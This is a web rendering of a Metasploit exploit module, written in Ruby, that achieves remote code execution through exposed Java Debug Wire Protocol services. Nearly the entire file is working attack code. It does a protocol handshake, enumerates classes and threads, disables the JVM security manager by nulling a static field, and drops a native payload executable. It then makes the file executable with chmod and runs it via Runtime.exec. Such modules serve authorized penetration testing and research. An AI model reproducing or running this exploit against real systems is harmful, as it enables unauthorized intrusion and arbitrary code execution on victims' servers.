Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
HANDSHAKE = "JDWP-Handshake"
14
15
REQUEST_PACKET_TYPE = 0x00
16
REPLY_PACKET_TYPE = 0x80
17
18
# Command signatures
19
VERSION_SIG = [1, 1]
20
CLASSESBYSIGNATURE_SIG = [1, 2]
21
ALLCLASSES_SIG = [1, 3]
22
ALLTHREADS_SIG = [1, 4]
23
IDSIZES_SIG = [1, 7]
24
CREATESTRING_SIG = [1, 11]
25
SUSPENDVM_SIG = [1, 8]
26
RESUMEVM_SIG = [1, 9]
27
SIGNATURE_SIG = [2, 1]
28
FIELDS_SIG = [2, 4]
29
METHODS_SIG = [2, 5]
30
GETVALUES_SIG = [2, 6]
31
CLASSOBJECT_SIG = [2, 11]
32
SETSTATICVALUES_SIG = [3, 2]
33
INVOKESTATICMETHOD_SIG = [3, 3]
34
CREATENEWINSTANCE_SIG = [3, 4]
35
ARRAYNEWINSTANCE_SIG = [4, 1]
36
REFERENCETYPE_SIG = [9, 1]
37
INVOKEMETHOD_SIG = [9, 6]
38
STRINGVALUE_SIG = [10, 1]
39
THREADNAME_SIG = [11, 1]
40
THREADSUSPEND_SIG = [11, 2]
41
THREADRESUME_SIG = [11, 3]
42
THREADSTATUS_SIG = [11, 4]
43
ARRAYSETVALUES_SIG = [13, 3]
44
EVENTSET_SIG = [15, 1]
45
EVENTCLEAR_SIG = [15, 2]
46
EVENTCLEARALL_SIG = [15, 3]
47
48
# Other codes
49
MODKIND_COUNT = 1
50
MODKIND_THREADONLY = 2
51
MODKIND_CLASSMATCH = 5
52
MODKIND_LOCATIONONLY = 7
53
MODKIND_STEP = 10
54
EVENT_BREAKPOINT = 2
55
EVENT_STEP = 1
56
SUSPEND_EVENTTHREAD = 1
57
SUSPEND_ALL = 2
58
NOT_IMPLEMENTED = 99
59
VM_DEAD = 112
60
INVOKE_SINGLE_THREADED = 2
61
TAG_OBJECT = 76
62
TAG_STRING = 115
63
TYPE_CLASS = 1
64
TAG_ARRAY = 91
65
TAG_VOID = 86
66
TAG_THREAD = 116
67
STEP_INTO = 0
68
STEP_MIN = 0
69
THREAD_SLEEPING_STATUS = 2
70
71
def initialize
72
super(
73
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
74
'Description' => %q{
75
This module abuses exposed Java Debug Wire Protocol services in order
76
to execute arbitrary Java code remotely. It just abuses the protocol
77
features, since no authentication is required if the service is enabled.
78
},
79
'Author' => [
80
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
81
'Christophe Alladoum', # JDWP Analysis and Exploit
82
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
83
],
84
'References' => [
85
['OSVDB', '96066'],
86
['EDB', '27179'],
87
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
88
['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],
89
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
90
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
91
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
92
],
93
'Platform' => %w{linux osx win},
94
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
95
'Payload' => {
96
'Space' => 10000000,
97
'BadChars' => '',
98
'DisableNops' => true
99
},
100
'Targets' => [
101
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
102
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
103
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
104
],
105
'DefaultTarget' => 0,
106
'License' => MSF_LICENSE,
107
'DisclosureDate' => 'Mar 12 2010'
108
)
109
110
register_options(
111
[
112
Opt::RPORT(8000),
113
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
114
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
115
]
116
)
117
118
register_advanced_options(
119
[
120
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
121
]
122
)
123
end
124
125
def check
126
connect
127
res = handshake
128
disconnect
129
130
if res.nil?
131
return Exploit::CheckCode::Unknown
132
elsif res == HANDSHAKE
133
return Exploit::CheckCode::Appears
134
end
135
136
Exploit::CheckCode::Safe
137
end
138
139
def default_timeout
140
datastore['RESPONSE_TIMEOUT']
141
end
142
143
# Establishes handshake with the server
144
def handshake
145
sock.put(HANDSHAKE)
146
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
147
end
148
149
# Forges packet for JDWP protocol
150
def create_packet(cmdsig, data = "")
151
flags = 0x00
152
cmdset, cmd = cmdsig
153
pktlen = data.length + 11
154
buf = [pktlen, @my_id, flags, cmdset, cmd]
155
pkt = buf.pack("NNCCC")
156
pkt << data
157
@my_id += 2
158
pkt
159
end
160
161
# Reads packet response for JDWP protocol
162
def read_reply(timeout = default_timeout)
163
length = sock.get_once(4, timeout)
164
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
165
pkt_len = length.unpack('N')[0]
166
if pkt_len < 4
167
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
168
end
169
id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
170
if err_code != 0 && flags == REPLY_PACKET_TYPE
171
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
172
end
173
174
response = ""
175
while response.length + 11 < pkt_len
176
partial = sock.get_once(pkt_len, timeout)
177
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
178
response << partial
179
end
180
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
181
response
182
end
183
184
# Returns the characters contained in the string defined in target VM
185
def solve_string(data)
186
sock.put(create_packet(STRINGVALUE_SIG, data))
187
response = read_reply
188
return "" unless response
189
190
return read_string(response)
191
end
192
193
# Unpacks received string structure from the server response into a normal string
194
def read_string(data)
195
data_len = data.unpack('N')[0]
196
return data[4, data_len]
197
end
198
199
# Creates a new string object in the target VM and returns its id
200
def create_string(data)
201
buf = build_string(data)
202
sock.put(create_packet(CREATESTRING_SIG, buf))
203
buf = read_reply
204
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
205
end
206
207
# Packs normal string into string structure for target VM
208
def build_string(data)
209
ret = [data.length].pack('N')
210
ret << data
211
212
ret
213
end
214
215
# Pack Integer for JDWP protocol
216
def format(fmt, value)
217
if fmt == "L" || fmt == 8
218
return [value].pack('Q>')
219
elsif fmt == "I" || fmt == 4
220
return [value].pack('N')
221
end
222
223
fail_with(Failure::Unknown, "Unknown format")
224
end
225
226
# Unpack Integer from JDWP protocol
227
def unformat(fmt, value)
228
if fmt == "L" || fmt == 8
229
return value[0..7].unpack('Q>')[0]
230
elsif fmt == "I" || fmt == 4
231
return value[0..3].unpack('N')[0]
232
end
233
234
fail_with(Failure::Unknown, "Unknown format")
235
end
236
237
# Parses given data according to a set of formats
238
def parse_entries(buf, formats, explicit = true)
239
entries = []
240
index = 0
241
242
if explicit
243
nb_entries = buf.unpack('N')[0]
244
buf = buf[4..-1]
245
else
246
nb_entries = 1
247
end
248
249
nb_entries.times do |var|
250
if var != 0 && var % 1000 == 0
251
vprint_status("Parsed #{var} classes of #{nb_entries}")
252
end
253
254
data = {}
255
256
formats.each do |fmt, name|
257
if fmt == "L" || fmt == 8
258
data[name] = buf[index, 8].unpack('Q>')[0]
259
index += 8
260
elsif fmt == "I" || fmt == 4
261
data[name] = buf[index, 4].unpack('N')[0]
262
index += 4
263
elsif fmt == "S"
264
data_len = buf[index, 4].unpack('N')[0]
265
data[name] = buf[index + 4, data_len]
266
index += 4 + data_len
267
elsif fmt == "C"
268
data[name] = buf[index].unpack('C')[0]
269
index += 1
270
elsif fmt == "Z"
271
t = buf[index].unpack('C')[0]
272
if t == 115
273
data[name] = solve_string(buf[index + 1, 8])
274
index += 9
275
elsif t == 73
276
data[name], buf = buf[index + 1, 4].unpack('NN')
277
end
278
else
279
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
280
end
281
end
282
entries.append(data)
283
end
284
285
entries
286
end
287
288
# Gets the sizes of variably-sized data types in the target VM
289
def get_sizes
290
formats = [
291
["I", "fieldid_size"],
292
["I", "methodid_size"],
293
["I", "objectid_size"],
294
["I", "referencetypeid_size"],
295
["I", "frameid_size"]
296
]
297
sock.put(create_packet(IDSIZES_SIG))
298
response = read_reply
299
entries = parse_entries(response, formats, false)
300
entries.each { |e| @vars.merge!(e) }
301
end
302
303
# Gets the JDWP version implemented by the target VM
304
def get_version
305
formats = [
306
["S", "descr"],
307
["I", "jdwp_major"],
308
["I", "jdwp_minor"],
309
["S", "vm_version"],
310
["S", "vm_name"]
311
]
312
sock.put(create_packet(VERSION_SIG))
313
response = read_reply
314
entries = parse_entries(response, formats, false)
315
entries.each { |e| @vars.merge!(e) }
316
end
317
318
def version
319
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
320
end
321
322
# Returns reference for all threads currently running on target VM
323
def get_all_threads
324
sock.put(create_packet(ALLTHREADS_SIG))
325
response = read_reply
326
num_threads = response.unpack('N').first
327
index = 4
328
329
size = @vars["objectid_size"]
330
num_threads.times do
331
t_id = unformat(size, response[index, size])
332
@threads[t_id] = nil
333
index += size
334
end
335
end
336
337
# Returns reference types for all classes currently loaded by the target VM
338
def get_all_classes
339
return unless @classes.empty?
340
341
formats = [
342
["C", "reftype_tag"],
343
[@vars["referencetypeid_size"], "reftype_id"],
344
["S", "signature"],
345
["I", "status"]
346
]
347
sock.put(create_packet(ALLCLASSES_SIG))
348
response = read_reply
349
@classes.append(parse_entries(response, formats))
350
end
351
352
# Checks if specified class is currently loaded by the target VM and returns it
353
def get_class_by_name(name)
354
@classes.each do |entry_array|
355
entry_array.each do |entry|
356
if entry["signature"].downcase == name.downcase
357
return entry
358
end
359
end
360
end
361
362
nil
363
end
364
365
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
366
# The list of methods will include constructors (identified with the name "<init>")
367
def get_methods(reftype_id)
368
if @methods.has_key?(reftype_id)
369
return @methods[reftype_id]
370
end
371
372
formats = [
373
[@vars["methodid_size"], "method_id"],
374
["S", "name"],
375
["S", "signature"],
376
["I", "mod_bits"]
377
]
378
ref_id = format(@vars["referencetypeid_size"], reftype_id)
379
sock.put(create_packet(METHODS_SIG, ref_id))
380
response = read_reply
381
@methods[reftype_id] = parse_entries(response, formats)
382
end
383
384
# Returns information for each field in a reference type (ie. object)
385
def get_fields(reftype_id)
386
formats = [
387
[@vars["fieldid_size"], "field_id"],
388
["S", "name"],
389
["S", "signature"],
390
["I", "mod_bits"]
391
]
392
ref_id = format(@vars["referencetypeid_size"], reftype_id)
393
sock.put(create_packet(FIELDS_SIG, ref_id))
394
response = read_reply
395
fields = parse_entries(response, formats)
396
397
fields
398
end
399
400
# Returns the value of one static field of the reference type. The field must be member of the reference type
401
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
402
# for example, the values of private fields can be obtained.
403
def get_value(reftype_id, field_id)
404
data = format(@vars["referencetypeid_size"], reftype_id)
405
data << [1].pack('N')
406
data << format(@vars["fieldid_size"], field_id)
407
408
sock.put(create_packet(GETVALUES_SIG, data))
409
response = read_reply
410
num_values = response.unpack('N')[0]
411
412
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
413
fail_with(Failure::Unknown, "Bad response when getting value for field")
414
end
415
416
len = @vars["objectid_size"]
417
value = unformat(len, response[5..-1])
418
419
value
420
end
421
422
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
423
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
424
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
425
# the field's type exactly. For object values, there must exist a widening reference conversion from the
426
# value's type to the field's type and the field's type must be loaded.
427
def set_value(reftype_id, field_id, value)
428
data = format(@vars["referencetypeid_size"], reftype_id)
429
data << [1].pack('N')
430
data << format(@vars["fieldid_size"], field_id)
431
data << format(@vars["objectid_size"], value)
432
433
sock.put(create_packet(SETSTATICVALUES_SIG, data))
434
read_reply
435
end
436
437
# Checks if specified method is currently loaded by the target VM and returns it
438
def get_method_by_name(classname, name, signature = nil)
439
@methods[classname].each do |entry|
440
if signature.nil?
441
return entry if entry["name"].downcase == name.downcase
442
else
443
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
444
return entry
445
end
446
end
447
end
448
449
nil
450
end
451
452
# Checks if specified class and method are currently loaded by the target VM and returns them
453
def get_class_and_method(looked_class, looked_method, signature = nil)
454
target_class = get_class_by_name(looked_class)
455
unless target_class
456
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
457
end
458
459
get_methods(target_class["reftype_id"])
460
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
461
unless target_method
462
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
463
end
464
465
return target_class, target_method
466
end
467
468
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
469
def str_to_fq_class(s)
470
i = s.rindex(".")
471
unless i
472
fail_with(Failure::BadConfig, 'Bad defined break class')
473
end
474
475
method = s[i + 1..-1] # Subtr of s, from last '.' to the end of the string
476
477
classname = 'L'
478
classname << s[0..i - 1].gsub(/[.]/, '/')
479
classname << ';'
480
481
return classname, method
482
end
483
484
# Gets the status of a given thread
485
def thread_status(thread_id)
486
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
487
buf = read_reply(datastore['BREAK_TIMEOUT'])
488
unless buf
489
fail_with(Failure::Unknown, "No network response")
490
end
491
status, suspend_status = buf.unpack('NN')
492
493
status
494
end
495
496
# Resumes execution of the application or thread after the suspend command or an event has stopped it
497
def resume_vm(thread_id = nil)
498
if thread_id.nil?
499
sock.put(create_packet(RESUMEVM_SIG))
500
else
501
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
502
end
503
504
response = read_reply(datastore['BREAK_TIMEOUT'])
505
unless response
506
fail_with(Failure::Unknown, "No network response")
507
end
508
509
response
510
end
511
512
# Suspend execution of the application or thread
513
def suspend_vm(thread_id = nil)
514
if thread_id.nil?
515
sock.put(create_packet(SUSPENDVM_SIG))
516
else
517
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
518
end
519
520
response = read_reply
521
unless response
522
fail_with(Failure::Unknown, "No network response")
523
end
524
525
response
526
end
527
528
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
529
def send_event(event_code, args)
530
data = [event_code].pack('C')
531
data << [SUSPEND_ALL].pack('C')
532
data << [args.length].pack('N')
533
534
args.each do |kind, option|
535
data << [kind].pack('C')
536
data << option
537
end
538
539
sock.put(create_packet(EVENTSET_SIG, data))
540
response = read_reply
541
unless response
542
fail_with(Failure::Unknown, "#{peer} - No network response")
543
end
544
return response.unpack('N')[0]
545
end
546
547
# Parses a received event and compares it with the expected
548
def parse_event(buf, event_id, thread_id)
549
len = @vars["objectid_size"]
550
return false if buf.length < 10 + len - 1
551
552
r_id = buf[6..9].unpack('N')[0]
553
t_id = unformat(len, buf[10..10 + len - 1])
554
555
return (event_id == r_id) && (thread_id == t_id)
556
end
557
558
# Clear a defined event request
559
def clear_event(event_code, r_id)
560
data = [event_code].pack('C')
561
data << [r_id].pack('N')
562
sock.put(create_packet(EVENTCLEAR_SIG, data))
563
read_reply
564
end
565
566
# Invokes a static method. The method must be member of the class type or one of its superclasses,
567
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
568
# methods can be invoked.
569
def invoke_static(class_id, thread_id, meth_id, args = [])
570
data = format(@vars["referencetypeid_size"], class_id)
571
data << format(@vars["objectid_size"], thread_id)
572
data << format(@vars["methodid_size"], meth_id)
573
data << [args.length].pack('N')
574
575
args.each do |arg|
576
data << arg
577
data << [0].pack('N')
578
end
579
580
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
581
buf = read_reply
582
buf
583
end
584
585
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
586
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
587
# can be invoked.
588
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
589
data = format(@vars["objectid_size"], obj_id)
590
data << format(@vars["objectid_size"], thread_id)
591
data << format(@vars["referencetypeid_size"], class_id)
592
data << format(@vars["methodid_size"], meth_id)
593
data << [args.length].pack('N')
594
595
args.each do |arg|
596
data << arg
597
data << [0].pack('N')
598
end
599
600
sock.put(create_packet(INVOKEMETHOD_SIG, data))
601
buf = read_reply
602
buf
603
end
604
605
# Creates a new object of specified class, invoking the specified constructor. The constructor
606
# method ID must be a member of the class type.
607
def create_instance(class_id, thread_id, meth_id, args = [])
608
data = format(@vars["referencetypeid_size"], class_id)
609
data << format(@vars["objectid_size"], thread_id)
610
data << format(@vars["methodid_size"], meth_id)
611
data << [args.length].pack('N')
612
613
args.each do |arg|
614
data << arg
615
data << [0].pack('N')
616
end
617
618
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
619
buf = read_reply
620
buf
621
end
622
623
# Creates a byte[]
624
def create_array(len)
625
target_class = get_class_by_name("[B")
626
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
627
628
type_id = target_class["reftype_id"]
629
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
630
631
data = format(@vars["referencetypeid_size"], type_id)
632
data << [len].pack('N')
633
634
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
635
buf = read_reply
636
buf
637
end
638
639
# Initializes the byte[] with values
640
def set_values(obj_id, args = [])
641
data = format(@vars["objectid_size"], obj_id)
642
data << [0].pack('N')
643
data << [args.length].pack('N')
644
645
args.each do |arg|
646
data << [arg].pack('C')
647
end
648
649
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
650
read_reply
651
end
652
653
def temp_path
654
return nil unless datastore['TMP_PATH']
655
656
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
657
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
658
end
659
datastore['TMP_PATH']
660
end
661
662
# Configures payload according to targeted architecture
663
def setup_payload
664
# 1. Setting up generic values.
665
payload_exe = rand_text_alphanumeric(4 + rand(4))
666
pl_exe = generate_payload_exe
667
668
# 2. Setting up arch specific...
669
case target['Platform']
670
when 'linux'
671
path = temp_path || '/tmp/'
672
payload_exe = "#{path}#{payload_exe}"
673
when 'osx'
674
path = temp_path || '/private/tmp/'
675
payload_exe = "#{path}#{payload_exe}"
676
when 'win'
677
path = temp_path || './'
678
payload_exe = "#{path}#{payload_exe}.exe"
679
end
680
681
if @os.downcase =~ /target['Platform']/
682
print_warning("#{@os} system detected but using #{target['Platform']} target...")
683
end
684
685
return payload_exe, pl_exe
686
end
687
688
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
689
def fingerprint_os(thread_id)
690
size = @vars["objectid_size"]
691
692
# 1. Creates a string on target VM with the property to be getted
693
cmd_obj_ids = create_string("os.name")
694
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
695
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
696
697
# 2. Gets property
698
data = [TAG_OBJECT].pack('C')
699
data << format(size, cmd_obj_id)
700
data_array = [data]
701
runtime_class, runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
702
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
703
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
704
705
str = unformat(size, buf[1..1 + size - 1])
706
@os = solve_string(format(@vars["objectid_size"], str))
707
end
708
709
# Creates a file on the server given a execution thread
710
def create_file(thread_id, filename)
711
cmd_obj_ids = create_string(filename)
712
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
713
714
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
715
size = @vars["objectid_size"]
716
data = [TAG_OBJECT].pack('C')
717
data << format(size, cmd_obj_id)
718
data_array = [data]
719
runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
720
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
721
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
722
723
file = unformat(size, buf[1..1 + size - 1])
724
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
725
726
register_files_for_cleanup(filename)
727
728
file
729
end
730
731
# Stores the payload on a new string created in target VM
732
def upload_payload(thread_id, pl_exe)
733
size = @vars["objectid_size"]
734
735
buf = create_array(pl_exe.length)
736
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
737
738
pl = unformat(size, buf[1..1 + size - 1])
739
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
740
741
set_values(pl, pl_exe.bytes)
742
pl
743
end
744
745
# Dumps the payload on a opened server file given a execution thread
746
def dump_payload(thread_id, file, pl)
747
size = @vars["objectid_size"]
748
data = [TAG_OBJECT].pack('C')
749
data << format(size, pl)
750
data_array = [data]
751
runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
752
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
753
unless buf[0] == [TAG_VOID].pack('C')
754
fail_with(Failure::Unknown, "Exception while writing to file")
755
end
756
end
757
758
# Closes a file on the server given a execution thread
759
def close_file(thread_id, file)
760
runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
761
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
762
unless buf[0] == [TAG_VOID].pack('C')
763
fail_with(Failure::Unknown, "Exception while closing file")
764
end
765
end
766
767
# Executes a system command on target VM making use of java.lang.Runtime.exec()
768
def execute_command(thread_id, cmd)
769
size = @vars["objectid_size"]
770
771
# 1. Creates a string on target VM with the command to be executed
772
cmd_obj_ids = create_string(cmd)
773
if cmd_obj_ids.length == 0
774
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
775
end
776
777
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
778
779
# 2. Gets Runtime context
780
runtime_class, runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
781
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
782
unless buf[0] == [TAG_OBJECT].pack('C')
783
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
784
end
785
786
rt = unformat(size, buf[1..1 + size - 1])
787
if rt.nil? || (rt == 0)
788
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
789
end
790
791
# 3. Finds and executes "exec" method supplying the string with the command
792
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
793
if exec_meth.nil?
794
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
795
end
796
797
data = [TAG_OBJECT].pack('C')
798
data << format(size, cmd_obj_id)
799
data_array = [data]
800
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
801
unless buf[0] == [TAG_OBJECT].pack('C')
802
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
803
end
804
end
805
806
# Set event for stepping into a running thread
807
def set_step_event
808
# 1. Select a thread in sleeping status
809
t_id = nil
810
@threads.each_key do |thread|
811
if thread_status(thread) == THREAD_SLEEPING_STATUS
812
t_id = thread
813
break
814
end
815
end
816
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
817
818
# 2. Suspend the VM before setting the event
819
suspend_vm
820
821
vprint_status("Setting 'step into' event in thread: #{t_id}")
822
step_info = format(@vars["objectid_size"], t_id)
823
step_info << [STEP_MIN].pack('N')
824
step_info << [STEP_INTO].pack('N')
825
data = [[MODKIND_STEP, step_info]]
826
827
r_id = send_event(EVENT_STEP, data)
828
unless r_id
829
fail_with(Failure::Unknown, "Could not set the event")
830
end
831
832
return r_id, t_id
833
end
834
835
# Disables security manager if it's set on target JVM
836
def disable_sec_manager
837
sys_class = get_class_by_name("Ljava/lang/System;")
838
839
fields = get_fields(sys_class["reftype_id"])
840
841
sec_field = nil
842
843
fields.each do |field|
844
sec_field = field["field_id"] if field["name"].downcase == "security"
845
end
846
847
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
848
849
value = get_value(sys_class["reftype_id"], sec_field)
850
851
if (value == 0)
852
print_good("Security manager was not set")
853
else
854
set_value(sys_class["reftype_id"], sec_field, 0)
855
if get_value(sys_class["reftype_id"], sec_field) == 0
856
print_good("Security manager has been disabled")
857
else
858
print_good("Security manager has not been disabled, trying anyway...")
859
end
860
end
861
end
862
863
# Uploads & executes the payload on the target VM
864
def exec_payload(thread_id)
865
# 0. Fingerprinting OS
866
fingerprint_os(thread_id)
867
868
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
869
870
# 1. Prepares the payload
871
payload_exe, pl_exe = setup_payload
872
873
# 2. Creates file on server for dumping payload
874
file = create_file(thread_id, payload_exe)
875
876
# 3. Uploads payload to the server
877
pl = upload_payload(thread_id, pl_exe)
878
879
# 4. Dumps uploaded payload into file on the server
880
dump_payload(thread_id, file, pl)
881
882
# 5. Closes the file on the server
883
close_file(thread_id, file)
884
885
# 5b. When linux arch, give execution permissions to file
886
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
887
cmd = "chmod +x #{payload_exe}"
888
execute_command(thread_id, cmd)
889
end
890
891
# 6. Executes the dumped payload
892
cmd = "#{payload_exe}"
893
execute_command(thread_id, cmd)
894
end
895
896
def exploit
897
@my_id = 0x01
898
@vars = {}
899
@classes = []
900
@methods = {}
901
@threads = {}
902
@os = nil
903
904
connect
905
906
unless handshake == HANDSHAKE
907
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
908
end
909
910
print_status("Retrieving the sizes of variable sized data types in the target VM...")
911
get_sizes
912
913
print_status("Getting the version of the target VM...")
914
get_version
915
916
print_status("Getting all currently loaded classes by the target VM...")
917
get_all_classes
918
919
print_status("Getting all running threads in the target VM...")
920
get_all_threads
921
922
print_status("Setting 'step into' event...")
923
r_id, t_id = set_step_event
924
925
print_status("Resuming VM and waiting for an event...")
926
response = resume_vm
927
928
unless parse_event(response, r_id, t_id)
929
datastore['NUM_RETRIES'].times do |i|
930
print_status("Received #{i + 1} responses that are not a 'step into' event...")
931
buf = read_reply
932
break if parse_event(buf, r_id, t_id)
933
934
if i == datastore['NUM_RETRIES']
935
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
936
end
937
end
938
end
939
940
vprint_status("Received matching event from thread #{t_id}")
941
print_status("Deleting step event...")
942
clear_event(EVENT_STEP, r_id)
943
944
print_status("Disabling security manager if set...")
945
disable_sec_manager
946
947
print_status("Dropping and executing payload...")
948
exec_payload(t_id)
949
950
disconnect
951
end
952
end
953
954